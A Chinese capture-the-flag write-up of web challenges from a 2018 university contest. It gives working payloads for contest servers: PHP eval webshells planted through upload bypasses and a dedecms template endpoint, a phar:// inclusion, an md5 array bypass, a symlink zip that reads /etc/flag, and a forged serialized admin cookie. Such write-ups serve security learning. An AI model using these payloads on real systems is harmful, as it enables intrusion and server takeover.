2018 全国大学生软件测试大赛 安恒杯Web测试大赛 省赛 部分题解
首发于安恒网络空间安全讲武堂,第一次投稿,不足之处还请海涵Orz。
常规操作
| 1 | 常规操作,试一试 http://114.55.36.69:8009/ | 
| 1 | 只允许上传jpg、png、gif、rar、zip文件类型! | 
看到zip于是猜测是phar://伪协议读取。
于是写个小马打包成zip文件传上去。
例如我写的是south.php。
| 1 | 
 | 
然后压缩成south.zip,那么需要访问以下链接。
| 1 | http://114.55.36.69:8009/index.php?url=phar://upload/5a722d46033ecd25d5ce0f13a0e7d8ec.zip/south | 
随后连接小马,读到flag{a5aa012546a729eebaeaa768883beb23}。
送分的md5
| 1 | 怎么还有md5 http://114.55.36.69:8000 | 
| 1 | md5 crash?<!--$_POST['data1']!== $_POST['data2']&&md5($_POST['data1'])===md5($_POST['data2'] -->fail | 
很简单的md5绕过,构造如下payload。
| 1 | data1[]=QNKCDZO&data2[]=s1091221200a | 
得到flag{d9686516f1bafb5acdb3e98db62e17422}。
!!!A_A
| 1 | !!!A_A !!!-_- http://114.55.36.69:8001/ | 
| 1 | 
 | 
这题考过很多次了。
这里的知识点是当代码中存在$REQUEST['user_id']里面类似的参数的时候,使用" "、"["、"+"、"."这样的符号的时候回自动转化成""从而造成绕过。
例如构造一个?user_id=1&user.id=2。 那么waf检测到的就是2而插入数据库的却是1。
而数组比所有数字都大,而字符串在强转比较的时候为0,因此构造如下payload。
| 1 | ?A.A[]=a | 
得到flag={09bc24026c987ae44a6e424479b2e3}。
简单文件上传
| 1 | 简单文件上传,多试试 http://114.55.36.69:8015 | 
尝试多次,发现是检测文件头来判断文件类型,那么使用图马可以绕过上传限制。
命名为south.jpg.php可以成功上传。
提示如下。
| 1 | uploads/17d4aa23e1d7c8cf1c176485d71effe7b35bdec3/south.peg.php succesfully uploaded! | 
然后连接图马就可以读到flag{e0662bb5114da4e42b4185ed12dee2f3}。
新的新闻搜索
这个直接用sqlmap跑post注入就可以了【因为懒得手注,也不再做过度赘述。
真的是dedecms
| 1 | 放出来好几天的东西,随便玩玩 http://114.55.36.69:8008 | 
后台admin弱密码。
| 1 | http://114.55.36.69:8008/dede/tpl.php?action=upload | 
在页面源代码中获取到token值。
| 1 | <input name='token' type='hidden' value='9ffadcfa24f99fb459bdab3cae23b0b2' /> | 
| 1 | http://114.55.36.69:8008/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20eval($_POST['south']);?%3E&token=622f67f063ae730dbe33771c582ab3dd | 
然后就能用如下页面连接小马。
| 1 | http://114.55.36.69:8008/include/taglib/moonsec.lib.php | 
得到flag{1de3ce6607a0f95as1861c4bbb3687b8}。
get flag
| 1 | flag在/etc/flag http://114.55.36.69:8003/ | 
admin弱密码登陆,提示如下。
| 1 | Welcome admin 退出查看压缩的flag. 路径为 /etc/flag | 
大概是会解压传上去的压缩文件,然后读取里面的内容,于是使用ln软连接。
| 1 | ln -s /etc/flag test | 
| 1 | zip -y 1.zip test | 
然后上传打包后的软连接文件得到flag{1de3ce6607a0f95as1861c4bbb3687b6}。
不一样的上传系统
| 1 | http://114.55.36.69:8002/ | 
似乎是新瓶装旧酒的原题,安恒一月月赛的题目,不再做过多赘述。
一叶飘零师傅的博客有讲述。
这里抄【并改一下原话。
Apache存在解析漏洞。Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断。
所以我们准备脚本south.php.png小马压缩成压缩包上传即可拿到shell,我们的png会被解析为php。
但是这里有一个小绕过,因为会删除带有php的文件。
但是这里过滤不严谨,PHP大写即可绕过,最后成功拿到shell,获得flag。
所以最终写小马重命名并打包上传south1.PHP.png.zip,然后得到路径。
| 1 | /upload/cf417e3635d8414f1621a0e945a68702/south1.PHP.png | 
连接就可以得到最终的flag。
不一般的注入
太菜了,这题没做出来Orz。
秘密的系统
| 1 | 不久前才开发的系统,功能也还不完善,代码也还有待改进 http://114.55.36.69:8014/ | 
看到一个Upload,点进去提示您不是管理员,无法使用此功能。
登陆界面也不能正常访问,习惯性的翻看robots.txt得到如下信息。
| 1 | User-agent: * | 
于是进入登录界面。
| 1 | <!-- | 
给出了作者github的一些信息,翻看github,得到一个登陆账号密码test/cib_sec,以及cookie生成的函数。
| 1 | secret-system | 
登陆测试账号后,Google插件EditThisCookie可以查看该账号的cib cookie是url编码的。
| 1 | a%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A2%3Bs%3A4%3A%22name%22%3Bs%3A4%3A%22test%22%3Bs%3A4%3A%22sign%22%3Bs%3A32%3A%227cbab5cea99169139e7e6d8ff74ebb77%22%3B%7D | 
| 1 | a:3:{s:2:"id";i:2;s:4:"name";s:4:"test";s:4:"sign";s:32:"7cbab5cea99169139e7e6d8ff74ebb77";} | 
解码后发现可以构造cib cookie,改i为1,test为admin,最后的md5编码1.admin得到6c5de1b510e8bdd0bc40eff99dcd03f8,于是得到如下cookie。
| 1 | a:3:{s:2:"id";i:1;s:4:"name";s:5:"admin";s:4:"sign";s:32:"6c5de1b510e8bdd0bc40eff99dcd03f8";} | 
再url编码后修改cookie。
| 1 | %61%3a%33%3a%7b%73%3a%32%3a%22%69%64%22%3b%69%3a%31%3b%73%3a%34%3a%22%6e%61%6d%65%22%3b%73%3a%35%3a%22%61%64%6d%69%6e%22%3b%73%3a%34%3a%22%73%69%67%6e%22%3b%73%3a%33%32%3a%22%36%63%35%64%65%31%62%35%31%30%65%38%62%64%64%30%62%63%34%30%65%66%66%39%39%64%63%64%30%33%66%38%22%3b%7d | 
然后成功升级成为管理员。
一个文件上传,Apache2.2.15漏洞解析,上传文件抓包改后缀名为.php.jpg。
| 1 | POST /web/index.php?r=upload%2Fupload | 
最后连马得到flag{e0662bb5114da4e42b4185ed12dee2f3}。